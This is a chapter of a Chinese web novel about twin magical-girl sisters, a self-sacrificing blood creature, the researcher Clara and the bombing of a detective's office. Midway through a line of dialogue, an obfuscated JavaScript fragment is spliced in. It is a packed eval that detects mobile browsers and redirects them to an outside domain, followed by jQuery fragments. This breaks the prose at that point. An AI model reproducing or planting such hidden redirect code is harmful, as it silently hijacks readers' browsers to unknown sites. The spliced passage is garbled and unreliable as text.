“原来你在这里。”一个冷漠的声音出现在血团身后,她以为自己被森山寺未央发现了,吓了一跳转过头就要道歉,却发现眼前的人她根本不认识。 现代化的街道上,此人穿着一身白色的古典长袍,头上还带着头纱,腰腹,肩头,以及白色的布料边缘用金色金属固定,有纺锤镂空纹路。此人赤着脚,手里提着一根石杖,森山寺未雅一看就认出来了那是什么,也连带着认出了这个把脸部藏在头发和面纱之后的人是谁。 此人是身着魔法少女着装的艾克里普,森山寺未雅判断道,但同时,她却没有感到丝毫的安心,反而是心中的危机感愈发膨大了起来。 为什么?森山寺未雅问,因为那冷漠的声音吗?因为那没有丝毫遮掩的魔力气息吗?还是因为她周身的那截然不同的感觉,这个人是艾克里普,却不是她认识的那个艾克里普。 “吓死我了!”血团不满地说,“你是谁呀?” “…你就是,那个坐标下方消失的魔力源。”艾克里普没有回应问题的意思,“人类的外貌,你想成为人类?” “你什么意思呀?我本来就是普通人!”血团有些生气了。 “可笑。”艾克里普没有笑,“蛇虫被称脏污,人类更胜一筹,你却想成为人类,还是普通人。” 森山寺未雅从没想到有一天能从艾克里普的嘴里听到这样的言辞。 “普通人怎么了?”血团不满地说,“普通人才活得幸福呢。说起来你到底是谁啊?你找我有事吗?我得回家了。” “你并非魔物,不过性质也差不多了。”艾克里普没有回应任何问题,下一个瞬间,血团觉得巨大的危机感袭击了它的脑子,她旋转着避开,但整个身体的右半部分还是消失了。 是黑洞,森山寺未雅不可置信地确认了这一点,艾克里普使用黑洞魔法,无论是攻击形式的还是空间形式的,她即没有任何准备动作也没有消耗魔力的表现。 “快跑!”森山寺未雅说,“你打不过她,听我的,把魔力集中,快跑,越远越好。” “额——”血团尽力照做,她将消失的那半边身体勉强连接住,全力起跳离开原地。 “…那是!”森山寺未央察觉到魔力气息回头看,就发现了身受重伤的血团,她大惊之下随手拿了些药带在身上就起身追了过去。 “愚蠢。”艾克里普抬头,没有动,下一个黑洞出现在血团的下半身,它失去了平衡,朝地面栽倒下去。 “为什么?”血团感到了迷茫,“为什么会这样?” “她太强大了。”森山寺未雅甚至觉得此人比她认识的艾克里普更加强大。 “强大?可她为什么要这样对我?我做错了什么吗?”血团迷茫地问。 “…就像你杀死那些人一样吧。”森山寺未雅说,“抱歉,我没办法救你。” “未雅!”森山寺未央飞速跑过来接住下坠的血团,她满脸焦急地使用治愈魔法,可效果微乎其微,反倒是血团自己开始再生身体效果显著。 “我杀那些人是为了钱,她也是吗?那我把钱给她,她能不能不杀我?”血团觉得这还可以商量。 森山寺未雅想笑,又笑不出来,她没有阻止血团杀人,就也没有资格批判它。 “那是谁?”森山寺未央也看见了艾克里普,为其庞大的魔力惊心。 “…魔法少女?”艾克里普的声音有些讶异,但很快就改变了态度,“模仿者吗?” 模仿者指的是森山寺未央,森山寺未雅确认了这个世界的二人也是通过后天的手段接触到魔法的,但途径尚不明确,伊提阿姨不在这里的话,文件又会是谁提供的? “你,你是谁?”森山寺未央的面色很不好看,但她没有退缩。 “快跑!”森山寺未雅大声说,“带着她跑,快点。” “我,我们跑吧!”血团说,“我打不过这个人,我们跑吧。” 艾克里普向二人走了一步,森山寺未央感受到了魔力凝聚,她迅速催动召唤魔法,强行召回魔物替她接下了这一击,仅一瞬,魔物灰飞烟灭。 “精神魔法,恶心。”艾克里普看向了森山寺未央,那金色的瞳孔与发丝与森山寺未雅所知的那个人如出一辙,但又截然不同,是阳光与阳光折射的刀剑锋芒,相似又差距巨大。 “你,你的目的是什么?”森山寺未央尝试进行沟通。 “她说我是什么魔力源,说我和魔物差不多,就动手了。”血团焦急地说,她也察觉到了情况超出了控制,却又不知道怎么办。 听闻后森山寺未央呼吸一滞。 “你知道,哦。”艾克里普了然,“你做的,第二个了。” “我,我说错什么了吗?”血团被吓了一跳,但她现在恢复得差不多了,就准备悄悄站起来带着森山寺未央离开。 “什么事都可以商量,你想要什么?”森山寺未央却不认为她们能跑掉。 艾克里普没有说话,森山寺未央接连召唤魔物,没有一个撑得过一击,艾克里普没有停顿的意思,但她自己却知道,自己的魔力快见底了。 天赋,该死的天赋,森山寺未央在心里咒骂,摸出药物吞下,下一瞬间,血红色铺天盖地地袭来,来自她的身后。 “未雅?”森山寺未央一愣,回头看去,那里什么都没有。 身前,血团的□□逐渐溶解,原属于森山寺未雅,或者说森山寺未央的外表逐渐褪回血团该有的模样,也就是一个血团。艾克里普终于有了动作,她抬起了手里的石杖。 一瞬间,天清目明,血色消逝,建筑物也成群地倒塌。 但那血液挥洒在地上没有消逝,而是化为了火焰,焰花越来越高,混淆了视线,也阻碍了魔力的探查。 “带着她走。”血团说,“你要保护好她,你们要幸福地生活下去。” “…你的幸福生活怎么办?”森山寺未雅呆滞地问。 “那段时光其实还不错,至少我现在还挺开心的。”血团说,“你不一样的吧?未雅?” 下一个瞬间,森山寺未雅感受到那血有一部分停留在了她所在的位置,那是一个小小的血团,她伸出手去触摸,是温暖的,远不及火焰那般滚烫。 原来是这样,她抬头看向艾克里普,这里就是她们的故事的结局了,仓促得像是个腰斩的漫画,但却也有所依据。这血团可以支持她行动一段时间,但直到艾克里普将血团真正消灭之后,这个小小的馈赠也就会消失了吧,到时候就是真正的结局,书再也没有被打开的时间了。 但是,这小小的馈赠,又能做什么呢?森山寺未雅看见森山寺未央,她的魔力已经见底了,嘴角已经在往外溢血,死去就只是时间问题了。 幸福的生活根本不存在啊,森山寺未雅流下了眼泪,那血团温柔地接住了,也拥抱了她,随即她没有再像个灵魂那般漂浮于空中,故事完结前的一小段空白,她终于有了参与的资格。 “…未雅?”森山寺未央的眼神看了过来,诧异的,惊异的,笃定的,欣喜的。 她没有理会疼痛和虚弱,快速起身,以本能支配身体,拥抱住了森山寺未雅。 啊,就是这个,森山寺未雅意识到了。 “森山寺未雅”与森山寺未雅所能做到的,这个世界的她能带给森山寺未央的最好的结局,就是这个。 森山寺未雅深深地拥抱回去,二人相拥而泣。 她意识到了,确实还有她能做的事情,除了这个拥抱以外,还有一件她能做,她不得不做的事情。于是她背上了虚弱的森山寺未央,一边往她嘴里塞药一边开始奔跑。 “我们去哪?”森山寺未央吞下药物问,这没有让她好多少,但是她可以一直吃。 “回家。”森山寺未雅说。 火焰为二人开路,森山寺未雅毫不迟疑地往家的方向跑。 艾克里普察觉到了什么,但她知道森山寺未央将死,便没有去管。 “…我不要回去,我做了错事,不能去见爸爸妈妈了。”森山寺未央说。 “恐怖袭击和抢劫吗?”森山寺未雅问。 “哈哈,你都听到了。”森山寺未央没有在笑,“我还杀人了,不仅是和那孩子一起的时候,我杀了很多很多的人,那些魔物被派遣出去不仅仅是为了杀魔物,也为了杀人。” “…为什么呢?”森山寺未雅问。 “我,我杀了好多人。”森山寺未央哭了,“要什么原因呢?我杀了那么多人,还是个精神病,我不要回家,我不要见爸爸妈妈,你让我死在这里吧,那家伙是对的,我就是挺恶心的。” “你问过她们吗?问过爸爸妈妈,问过我,说想不想要一个杀了好多人又是精神病的家人吗?”森山寺未雅问道,她也哭了,眼泪被火焰擦去,但留下了泪痕。 “我都知道的!我知道她想做什么,她需要大量的血和尸体,她根本不在乎普通人的生命,但我就是帮她了!”森山寺未央倾诉道,“我变了好多啊,我变成了一个好坏好坏的人,你会不会觉得我很陌生?” “别说这种话,我一眼就认出你了。”森山寺未雅说。 “我也是,”森山寺未央笑了,“我也一眼就认出你了!” 快跑,森山寺未雅心想,快跑,往家那里跑,她对位置和路线一清二楚,身体又轻盈,她没有做不到的理由。 “我,我其实悄悄看过爸爸妈妈。”森山寺未央说,“她们瘦了好多,还长白头发了,每天都好伤心,是我害的。” “我们永远不会让她们省心呢。”森山寺未雅想起自己世界的过去,感慨道。 “我们必须回家吗?我们能不能就远远地看一眼?”森山寺未央眼泪流个不停,“未雅,我害怕,我害怕见到她们。” “怕什么啊?”森山寺未雅骂道,眼泪也直往外冒 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15808004|173535||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,“如果她们骂你,打你,那又怎么样?你不该被打,被骂吗?你害怕什么?不是有我陪着你吗?” “…对,你回来了,你在这里。”森山寺未央抱住了自己失而复得的姐姐,“不过我其实是知道的,你们其实还是有一点点不一样的。” “哦!很了不起嘛!”森山寺未雅没有太过意外。 “你为什么来这里?”森山寺未央问。 “有些真相被掩盖了,我想知道。”森山寺未雅说。 “发生了什么吗?”森山寺未央问。 “我怀疑时间倒流了,”森山寺未雅说,“只有我,但有个科研人员愿意支持我。” “现在有两个了,我也支持你!”森山寺未央说。 “那你有什么想法吗?”森山寺未雅问。 “…如果时间倒流,一切都会回到什么都没有发生过,那真是我梦寐以求的事情。”森山寺未央认真地说,“那个世界发生了什么吗?” “□□特别泛滥,有人搞人体实验,还有人造魔物。”森山寺未雅说。 “哇,那一定是那个人干的。”森山寺未央说,“一个老太太,没有魔力气息但总在干涉与魔法相关的事情,我也不知道名字,但是她的轮椅很厉害,还有个老是笑眯眯的干杂活的黑漆漆的人在,她右眼有眼罩但她可没瞎,那个眼珠子有别的用处。” “我记住了。”森山寺未雅说。 一切飞速后退,森山寺未雅将加速魔法用到了极限,摩擦力与肌肉一同尖叫,但这还不够。森山寺未央的气息在衰弱,她自己也在逐渐消逝。 快一点,再快一点,森山寺未雅,再跑快一点,让一切都有意义。 “那个世界的我们怎么样了?”森山寺未央问。 “遇到了大问题,但遇到了好朋友,所以解决了。”森山寺未雅说。 “居然是靠朋友,我们一直以来人缘都特别特别烂,这简直是奇迹啊!”森山寺未央说。 “对,就是奇迹。”森山寺未雅说。 “那个世界,我们也是魔法少女吗?”森山寺未央又问。 “是,一开始只有你是,后来我也是了,特征也差不多。”森山寺未雅说。 “哇,我们的魔法天赋特别烂,后面魔力还一直不够用!”森山寺未央很气愤。 “确实,但我们一起的话总有办法的。”森山寺未雅说。 “…对,我们一起的话,总会有办法的。”森山寺未央说,“不过这样说起来,那里的我们并不是同一时间成为魔法少女的吗?” “不是,这里的我们是怎么成为魔法少女的?”森山寺未雅问。 “你不知道那我就不说!”森山寺未央得意地说,“我才不会出卖我自己呢。” “你这一句话就已经暴露了一部分了哦。”森山寺未雅提醒道。 “…可恶。”森山寺未央不满。 西市区到东市区的距离不算远,对于步行者来说就不一定了的,但这是二人唯一可以选择的方式,森山寺未央抬头看天空,火焰已经没有了踪影,她的眼泪流得到处都是。 “一切都会倒流的话,那孩子,那孩子会如何呢?”森山寺未央问,“好对不起她啊,早知道就多给她买点东西了,骗人的也是。” “其实,我们还是遇到她了。”森山寺未雅说,“还成为了朋友。” “像是奇迹一样。”森山寺未央感慨说。 “对!”森山寺未雅笑了。 “那既然这样,我要说出一个大秘密,既然时间会倒流,那我说出来也没关系!”森山寺未央说。 “什么?”森山寺未雅侧耳去听。 “我,我一直一直很想爸爸妈妈,也很想你,我一直想去见她们,也想去见你。”森山寺未央哭喊着说,“哪怕是杀了好多人的精神病,我也好爱你们。” 在回家的道路上,她终于能说出自己藏于心底的想念,对着另一个世界的姐姐。她会带着这个秘密离开,那么即使一切都因时间倒流而消逝,这个秘密也会存在。 哪怕对自己犯下的罪厌恶,哪怕成为自己不愿意面对的人,哪怕变得面目全非,森山寺未央依旧发自心底地爱着她的家人。 所以,跑吧,森山寺未雅,快跑吧,快带着这样的她回家。 加速魔法被利用到了极致,那一小团馈赠带着其主人特有的生命力,让森山寺未雅的肌肉没有因为速度而破碎,但魔力消逝的感觉如此清晰,森山寺未雅知道,那孩子已经死去了。 近了,近了,车展,广场,街道,公园,垃圾站,奇怪的雕塑,伪装成鸟屋的摄像头,她们的家就在这里。 但森山寺未雅已经没有摁下门铃的力气了,森山寺未央还有最后的呼吸,但她已经没有了,于是,她看向了门口的摄像头。 家中建筑的大门下一刻就被打开了,森山寺镜站在那里,后面是跑过来的森山寺波,她们一如既往地熟知家门口的一切。 “未雅!”森山寺镜呼喊着,但是森山寺未雅已经消失了。 大门被急匆匆地打开,森山寺未央感受到了熟悉的拥抱。 故事结束了。 “滴滴——”器械的警报声响起,医疗舱因森山寺未雅生命体征波动过大而启动了紧急措施,药物干涉介入,她被强行带出了医疗区。 克拉拉迅速靠近轮椅,检测短期报告之后使用外物进行干涉,她的额头留下了冷汗,但手里的动作是冷静的。 在一番忙活之后,森山寺未雅的生命体征总算是平稳了下来,克拉拉也总算是能松口气了,随即,轮椅中的森山寺未雅睁开了眼。 “看来故事是结束了。”克拉拉递过去一瓶冰水。 “谢谢。”森山寺未雅接过 ,说道,“真的是特别烂特别烂的故事啊。” “对你来说一定是的吧。”克拉拉叹了口气,“如何?有所收获吗?” 森山寺未雅如往常那般诉说了发生的事,克拉拉听后若有所思。 “你怎么也不哭一下给我看看?”森山寺未雅问。 “大人的眼泪是很珍贵的。”克拉拉没去理会她语气里的期待,“那些药物大部分都是用于术后恢复的补剂,但根据你们的耗能行为和体检报告,那些补剂虽然确实能提供超出正常分量的能量,但对你们来说其实作用并不大。而且输液和口服弊端太明显了,尤其是对你们来说。” “所以说那个提供药物的人并不了解魔法少女?”森山寺未雅思索着说。 “想要了解,不,不如说想要研究吧。”克拉拉顿了顿,“那个黑漆漆笑眯眯的人八成就是Evo的CEO了,但眼罩的位置不对,所以这并不是先天的,而其也是佐证你的论证的一部分证据,虽然也只是你的口述吧。” “那怎么了?耶稣复活也是口述证据。”森山寺未雅不满道,顿了顿后又思索着说,“天使会通过器官移植获得使用魔法的能力,湛会不会也是这样的?” “那她移植的效果也太好了吧?个例突出成这样就得单独研究了。”克拉拉并不赞同这一观点,“而且如果Evo内部有可研究案例,那她们就该知道术后恢复用补剂对魔法使用者来说用处甚微,还是说那边研究现在才刚刚起步?这样的话那位CEO八成是活不久了。” “…何出此言啊神医?”森山寺未雅疑惑地问。 “就爱丽丝接受过的那些治疗目的的实验一样,研究者的研究方向从一开始就错了,单方向恢复细胞状态是无用的行为,治疗方式必须从源头开始整合。”克拉拉翻了翻电脑文件,“术后恢复我不算了解,但恢复和治疗是不一样的这一点谁都能看出来吧。” “最后那句我听懂了。”森山寺未雅若有所思,“但这个世界里湛还是Evo的CEO,换了一边带眼罩也是因为治疗需要吗?” “眼球,或者说视觉系统的光感知通道是唯一直接暴露在外界光线下的器官,无免疫也无再生,但却参与个体意识的感知和构建功能。”克拉拉扶了扶眼镜,“简单来说眼球整颗移植是不可行的,视神经不会接受新的个体。左眼右眼无所谓,重点在于她如果真的做了眼球移植手术,那她就完全失去了单边的视力。当然你要说魔法做得到的话就当我没说吧。” “但是她应该是没有失去视力的。”森山寺未雅思索着说,“有没有可能是眼球变异了呢?” “两次分两边变异?”克拉拉明显不太赞同,“目前所有类似案例中患者表现出的特征大多带有负面效果,而且比起变异,我更倾向于是某种魔法手段使义眼骗过了视神经,或者手术确实只存在于局部。” 二人在这个话题上陷入了僵持。 “…你的这台轮椅,是从Evo那里买的啊。”森山寺未雅低头看向也可以称得上是很厉害的轮椅。 “科技器械部门,和生物基因部门基本上是分开的,不过主管确实是董事会的一员。”克拉拉问,“它们除了器械之外还研究人工智能,名字叫做阿尔卡纳,只在内部使用。” “…那个世界没有,没有人工智能,也没有阿尔卡纳。”森山寺未央说出了自己的疑虑,“这科技器械部门的主管是谁?” “董事会秘书,有乐千实。”克拉拉愣了下之后说,“这样一说,她在其中到底是个什么角色呢。” “她,公司的CEO,和一个,轮椅很厉害老太太。”森山寺未雅说,“这三个人就是两个世界如此不同的最大原因了吧。” “也包括白夜社和那些天使作为帮凶。”克拉拉想了想,“三个人,有可能吗?” “有的吧,毕竟已经做到了。”森山寺未雅说。 “诶。”克拉拉叹了口气,“那现在的情况岂不是很糟糕?而且就理论来说疗程效果已经没有被复现的可能了,就目前而言从中获得的信息相当有限。除了一点,你对于那位艾克里普-阿尔卡纳的担心现在是有理可循的了。” 现在听到艾克里普名字的森山寺未央身上起了鸡皮疙瘩。 “侦探说过伊提阿姨有考虑过更长远的未来,现在线索还未集齐,我应该再尝试多挖掘一下她身上的信息。”森山寺未雅说。 “这两个人就是最可疑的。”克拉拉直言不讳。 “…伊提阿姨也就算了,你见过启明星侦探吗?”森山寺未雅疑惑道。 “很难不认识。”克拉拉想了想,“按照她的用词习惯我不会也算是她的朋友之一吧?” “不也挺好?”森山寺未雅鼓励道,“侦探虽然可疑但你也半斤八两,交个朋友又如何呢?晓她就和侦探相处的不错吧,我看侦探很满意她来着。” “不,我这样的大人不需要朋友来安放无从抒发的表现表达欲望。”克拉拉不屑一顾,“小犬山喜欢交朋友与我无关好吗?连带关系别向上连带到监护人头上。” “…未央说研究人员都会在实验室泡一辈子居然是真的,她难道也有预测未来的天赋?”森山寺未雅大惊失色,“那我的定位不就又变得岌岌可危了起来吗?” “你要是没事的话可以走了。”克拉拉看着在转椅上辫子被旋转成螺旋的森山寺未雅说。 “那你接下来准备做什么?”森山寺未雅没有停下选择。 “…有点想法。”克拉拉若有所思地说。 “额。”森山寺未雅欲言又止。 “你真的该走了,你妹妹现在应该在努力调查吧你呢?”克拉拉无视森山寺未雅质疑的视线继续赶人。 就在森山寺未雅考虑要不要询问此想法的针对目的时,实验室的门开了,来访者是犬山晓。由于今日事务所需着装礼仪,她难得没有考虑服装的功能性,而转向她喜欢但又不太擅长的形式主义,借由侦探的指示,把自己塞进了衣服里。 启明星侦探挑选朋友的眼光确实不错,森山寺未雅心想。椅子回旋,她看见了克拉拉眼镜后方的脸。 森山寺未雅笑了笑,跳下椅子准备离开这里去找自己妹妹了。 72.INMATE-009 2024年4月27日,星期六,天气晴。 港口工人协会发起的大规模罢工与抗议活动参与者蔓延至第12至17号港口区域,抗议活动迅速扩大,今晨已有学生群体加入游行,队伍进入大学城东区,形成大面积交通中断。 凌晨3:27,西部市区中心第六街一座商住混合建筑中层突发爆炸,造成多处窗体损毁与外墙裂痕。消防部门及时扑灭火情,目前未发现人员伤亡。 警方今日凌晨发布治安通报,称“近期获取可靠情报”,显示多个区域存在“疑似持械组织性集群”。社区代表呼吁:“请市政府不要隐晦模糊地说话,我们有知情权。” 曾由一家族运营的知名娱乐场所“云港夜樽酒店”于今日凌晨发布公告,将于6月5日正式转让。现阶段尚未公开新运营商身份。 瞭望塔等六处旅游景点今晨宣布临时关闭,理由均为“结构性检修”与“运营调整”。 市长有乐善太郎于晨间会议上发表简短讲话:“我们承认城市当前确实一片混乱,各方矛盾集中爆发,我对每位市民的困扰感同身受。我正在努力与各部门协作,尽全力恢复秩序。” “灵性吃播”@口腔意识流 在直播中被观众举报“报名参观者偷吃别人生物公司娱乐区的盆栽”。他随后解释:“那不是她们的,是宇宙种给我的食物。” 第二天早上,几人假装是一觉醒来一般准备开始开启新一天的生活。 “我要接着去和启明星侦探一起追查湛的下落,如果顺利的话,应该今天就能找到吧?”犬山晓对此有些犹豫,主要是觉得自己运气不太好,“总之有突发事件的话我会和大家说的。” “南流港那里的仓库需要我们看着,不知道这里会不会被罢工事件影响到,不过爸爸妈妈应该不会出门了。”森山寺未央说。 “如果那些人想利用仓库里的东西做些什么也应该就是今天会开始行动了,例如趁着罢工造成的混乱什么的。”森山寺未雅点头,“罢工运动是码头工人协会组织的,但确实有可能会波及城市,不过一般不会波及到居民区。” “我去大学城那里帮忙维持治安,不过双休日的话至少学生会少一些,如果没什么大事的话我会在四周巡逻。”有乐羽生说着,将手机留在了房间内。 “原本我应该去东流港看着的,但我有些在意我的事务所的问题。”艾克里普想了想,“不过也没关系,事务所目前还远不会出现危机,我先处理东流港那边的事务吧。” 几人商量着下了楼,这个时间点森山寺夫妻根本就没起床,几人放轻了声音没有打扰到她们,各自前往自己的目的地。 时间还早,但犬山晓准备去西部市区看看有没有什么突发状况,顺便看看克拉拉的实验室附近有没有什么危险,便启走空路程高速前往目的地。 隔着很远,犬山晓就注意到了西部市区有着非比寻常的动静,她仔细一看,高楼间有滚滚黑烟冒起,似乎是哪里发生了火灾,但看黑烟浓度应该已经被扑灭不少了。 即使是这样,她心里依旧有了些不好的预感,于是她换了方向朝发生火灾的区域赶去,直到靠近那被消防车和警戒线围起来的地区后,她意识到,发生火灾的正是启明星侦探事务所所在的大楼。 情急之下犬山晓也顾不上隐藏些什么了,直接从原本所在的高处落下,快速往大楼下方跑去,那原本的入口处此时已经被警戒线围了起来,四周街道上散布着玻璃碎片,建筑残骸和黑灰。犬山晓抬头看去,发生火灾的几层中正包含事务所所在的楼层。 此时火势已经得到了控制,消防员正逐渐撤回云梯,只剩下些许黑烟还在从碎裂的窗户里往外冒,熏黑了一整片空气。 “请问,是发生了什么呢?”犬山晓找到了一个警戒线外的站着往里看的人询问,“我的朋友在这栋楼里面,请问她有逃出来吗?” “啊节哀,不久前这里突发爆炸,随后是连环爆炸,我被吵醒之后才跑过来看的。”那人一副困倦的模样,“我也不太清楚啊,你问问那些消防员?” 犬山晓心头一紧,她四处巡视,却意外地发现不远处的街道上站着的人正是启明星和六十七号,她松了口气,与路人道谢后迅速朝那里跑去。 六十七号正抬头看着还在冒烟的事务所,愣着没有动作,他穿着的工作服有部分破碎的痕迹,白色衬衣也被熏黑了些许。启明星背对着大楼坐在街边的长椅上,她的衣着整齐,身上没什么受伤的痕迹,一旁倒是放着一件有所损伤的风衣。 此时她背对着犬山晓,有烟雾从她身前涌出又散去,她在抽烟。 犬山晓一时站住没有动,此时她哪怕再讨厌尼古丁也没法指责启明星的所作所为,她站住不动是担心启明星不想让别人看见自己的表情。她在悲伤吗?在愤怒吗?还是单纯的疲惫呢? 联系起昨日发生的事情,犬山晓也能想象出几个事务所出现这种事情的原因,她相信启明星肯定更为清楚,但在行动之前,她或许是需要休息一下了。 “…犬山小姐。”六十七号先注意到了犬山晓,他没有在笑,或许哪怕是他这样的人此时也意识到了事情的严重性吧。 犬山晓小心翼翼地走到六十七号旁边,轻声问道,“发生什么事了?” “不久前,事务所所在的楼层上下两层发生了爆炸,波及到了事务所内部,爆炸是连环的,火烧的很快,我带着老板从事务所里跳出来了。”六十七号说。 “这件事,”犬山晓欲言又止,“启明星侦探有说什么吗?” “老板很久没有说话了。”六十七号摇了摇头,“我有带出来一些东西,但火烧得太大了,即使扑灭之后,事务所也就不存在了,就没有了。” 他说话时语气带着些低沉迷茫的情绪。 “节哀。”犬山晓只能这么说。 “事务所不在了,老板也不说话,我以后该去哪呢?”六十七号问道,“我可以这样问您吗?不过您不回答我也没关系,只是老板她不说话。” “侦探只是需要休息一下,我相信她。”犬山晓摇了摇头,“你也要相信她,你老板在你的工作就在,给她一点时间吧。” “真的吗?”六十七号一下子就有了神采,“事务所不在了我也能保住工作吗?” “…你怎么是在想这种事情啊?”犬山晓觉得自己高估了对方的心性,“你自己想吧。” 随即,犬山晓回头看向启明星的背影,烟雾迷漫,她没有动作。 “启明星侦探以前会抽烟吗?”犬山晓又问六十七号。 “嗯?不会吧,我没见到过。”六十七号回答说。 “那她,她这样没关系吗?”犬山晓犹豫地问,“她的身体能支持她抽烟吗?” “不能吧,烟是别人给我的,我不抽,老板就拿走了。”六十七号说,“老板总有自己的考量,她这样做总有她的理由吧。” “…要是我早点来就好了。”犬山晓想起自己昨晚玩得有多开心就有种负罪感。 “您来了也没用呀?那些炸弹应该是很早以前就存在了,之前引爆的而已。”六十七号实话实说,“而且重要的文件档案记录什么的都带出来了,我可是有在好好工作的。” 地面上放着一个熟悉的文件包和一个26寸大小的方形金属行李箱,在晨光里散发着冷意。 “哪怕没有用,我能早点来也是好的。”犬山晓叹了口气,“现在想这些也没办法了。在我之前有人来找过你们吗?” “除了那边那些工作人员以外,并没有其它人了。”六十七号摇了摇头。 犬山晓想来想去也想不出其它什么可以问六十七号的东西了,她回头看了眼启明星的背影,觉得那明明是个孩子的背影,却又代表着太多的东西了。 这个时间点已经有些许咖啡厅开门了,犬山晓前去附近的一家连锁咖啡厅,买了早餐三明治和热拿铁,也给六十七号带了点吃的,领着东西回到了现场附近。 事故交接的时间应该已经结束了,消防队内部成员聚在一起谈论着,她们也要离开了。 黑烟迟早会散去的,建筑重建也不过是时间问题,如果说会留下什么的话那就只有记录和心理阴影了吧。 “侦探,”犬山晓放轻了声音靠近启明星的前方,“吃点东西吧?” 一根平价香烟燃烧殆尽用不了多久的,只有烟草的气味会留下,犬山晓顿了下,还是走向了启明星的身边,坐下了。 “…天亮了。”启明星抬起头说,她的嗓子有些哑,“感谢您的关心,犬山小姐,也抱歉让您看见我失态的样子,不必担心,我并没有遭受多少打击。” 她接过了热拿铁和三明治,放在手心,清晨的冷意带着湿气,食物是温暖的。 对方这样说,犬山晓却没办法就真的不担心,即使启明星是克拉拉那样的大人她也会担心的。但她却也不知道该用什么语句去拂开清晨的冷意,犹豫再三,她只是拆开了自己手里三明治的包装,也帮启明星手心的包装拆开了,并开始吃。 早餐三明治混合烟的味道,有种微妙的怀念感啊,犬山晓心想。 油脂,蛋白质,小麦,胡椒粉,咖啡豆,糖浆,以及尼古丁,启明星看着冷清的街道,叹了口气,拿起三明治咬了一口。虽然说只是连锁咖啡厅的冷冻复热产品,但味蕾和牙齿都没有表达什么不满,咖啡的焦糖太甜了,热的喝起来更甜了些,不过也不错。 “这件事的起因大概率是昨天行动时六十七号的存在被确认发现了,我因为违约而被强制收取了违约金吧。”启明星说,她的语调很平,吃了一半的三明治被她握在手里,冒着白气,“这件事是迟早会发生的,所以我确实早有准备,即使事发突然也没什么大的损失。” “您很聪明,侦探。”犬山晓说,拆开第二个三明治的包装,“我相信您的,无论是您的选择还是做法,您若是不想说就不用与我解释太多。” 启明星顿了顿,抬起三明治咬了一口,谈正事的时候吃东西不合乎她的礼仪标准,但三明治的话就无所谓了吧? “犬山小姐,我主动违约,赔付违约金也是应该的。但两个小时前我这样想的时候,六十七号把一根烟递给我,说,消防员说情绪激动的人应该抽根烟。”启明星忽然笑了,她的声音还是低沉的,“那家伙是怎么想的?真是搞不懂傻子的想法。” “他刚才在想事务所不在了他的工作怎么办。”犬山晓如实相告,“我不理解他为什么会是在想这种东西,工作对他而言有那么重要吗?” 比起自己即将死亡,失去工作让六十七号表现得更加失落。或许对于大部分普通人来说工作都是非常重要的维生手段,但犬山晓认为能笑着说出“我快死啦”的人不应该对于维生手段如此执着。 “工作吗?”启明星喃喃自语,“不过确实,事务所不在了之后,这份工作也算是结束了。” “咦?这样吗?”犬山晓一愣,“那我刚刚和他说别担心这个问题是不是不太好。” “哈哈哈,您确实信任我。”启明星笑了,“启明星侦探事务所关门了之后还会有下一个事务所的,或者其它形式的办公室。下次您会如何称呼我呢?启明星教授?还真是值得期待。” “六十七号不太适合当助教吧。”犬山晓评价道。 坐在石头上吃三明治的六十七号投来了疑惑的视线。 “教授也不总是教书育人的啦。”启明星说,“不过助手只要听话就足够了。” “那倒是。”犬山晓点头,六十七号确实不怎么思考。 “说以后的事情之前,要先解决当下的问题,虽然我对于这样的发展有所预料,但果然,事情真的发生的时候心情还是有波动的。”启明星看向犬山晓,“抱歉让犬山小姐闻到烟的味道了,这种气味的制造者本人反而不太能闻得到呢。” “不需要道歉的,我只是闻到香烟会想起不喜欢的事情,但是比起这个,您能快点振作起来更重要些。”犬山晓摇了摇头,“不用那么郑重的称呼我的,叫我的名字就好,好久没人对我用尊称了,感觉还挺奇怪的。” “那这样的话学校里的同学是怎么称呼晓的?”启明星问。 “也是叫‘犬山同学’,这样。”犬山晓说着笑了起来,“也有特别礼貌的称呼,叫我的时候我都不敢相信是在喊我的名字。” “日之森校内的名片攀比风气也是日渐潮流了起来,希望不要造成什么血案。不过虽然如此,我也并没有其它的名字可以让您更亲切地称呼我了,那就请直接叫我启明星吧,在新的后缀出现之前。”启明星说。 “启明星!”犬山晓笑着说,“那我们之前的那些事情还需要去管吗?” “换工作前交接是基本的哦,为了给下一份工作避免一些麻烦。至少接下的委托要完成吧,毕竟我也不是那么讨厌这份工作,报酬也是可观的。”启明星说着,站了起来理了理衣服,神奇的是,本来还有些凌乱的衣角领口,甚至发丝,都在她站起来的一瞬间就恢复了精神。 就像魔法一样啊,犬山晓心想。 “在此之前东流港的工人们已经开始准备罢工游行了吧,那可是我期待已久的大场面,不得不赶过去围观一下呢。”启明星说着,拿出手机一边发消息一边走向了六十七号。 “老板!”六十七号也站了起来,他难得有些欲言又止的样子。 “带上东西,准备出发了。”启明星说。 “好的老板!”六十七号积极回应。 在熟悉的黑色车辆后座上,启明星向犬山晓说明了她的推测。 “工人组织,尤其是港口码头工人组织一直以来都是犬山家族负责管理的,需要时进行游行以取得各种结果,这次大概率也不例外,并非出自工人们本身的意愿。”启明星翻出了过往的一些罢工记录给犬山晓看,有的是罢工,有的是罢工加上喊话,有的是罢工加上喊话加上游行。 这次是超级加量版,罢工加上喊话加上游行还时长两天。 “那难道说那些需求是捏造的吗?”犬山晓皱眉问,“我也了解了一些,那些工人需求增加报酬以及被尊重,这些需求难道并不是出自工人们本身的意愿吗?” “是,谁会不希望自己的生活好一些?但真的愿意站出来喊话的人不多,罢工说是运动,但在体育之中也是耗资奢侈的那一阶层了,组织一起罢工游行运动的成本和结果并不是一个牌桌上的人能凑齐的。但也不是随便谁站出来说‘我来为大家争取’大家就真的会掏钱给这个人的。工人协会之所以能成立一方面是为了给工人们一个保证,但这个保证的提供者是谁,工人们不会知道,也大多数不会在意吧。”启明星说道,她的声音没什么起伏。 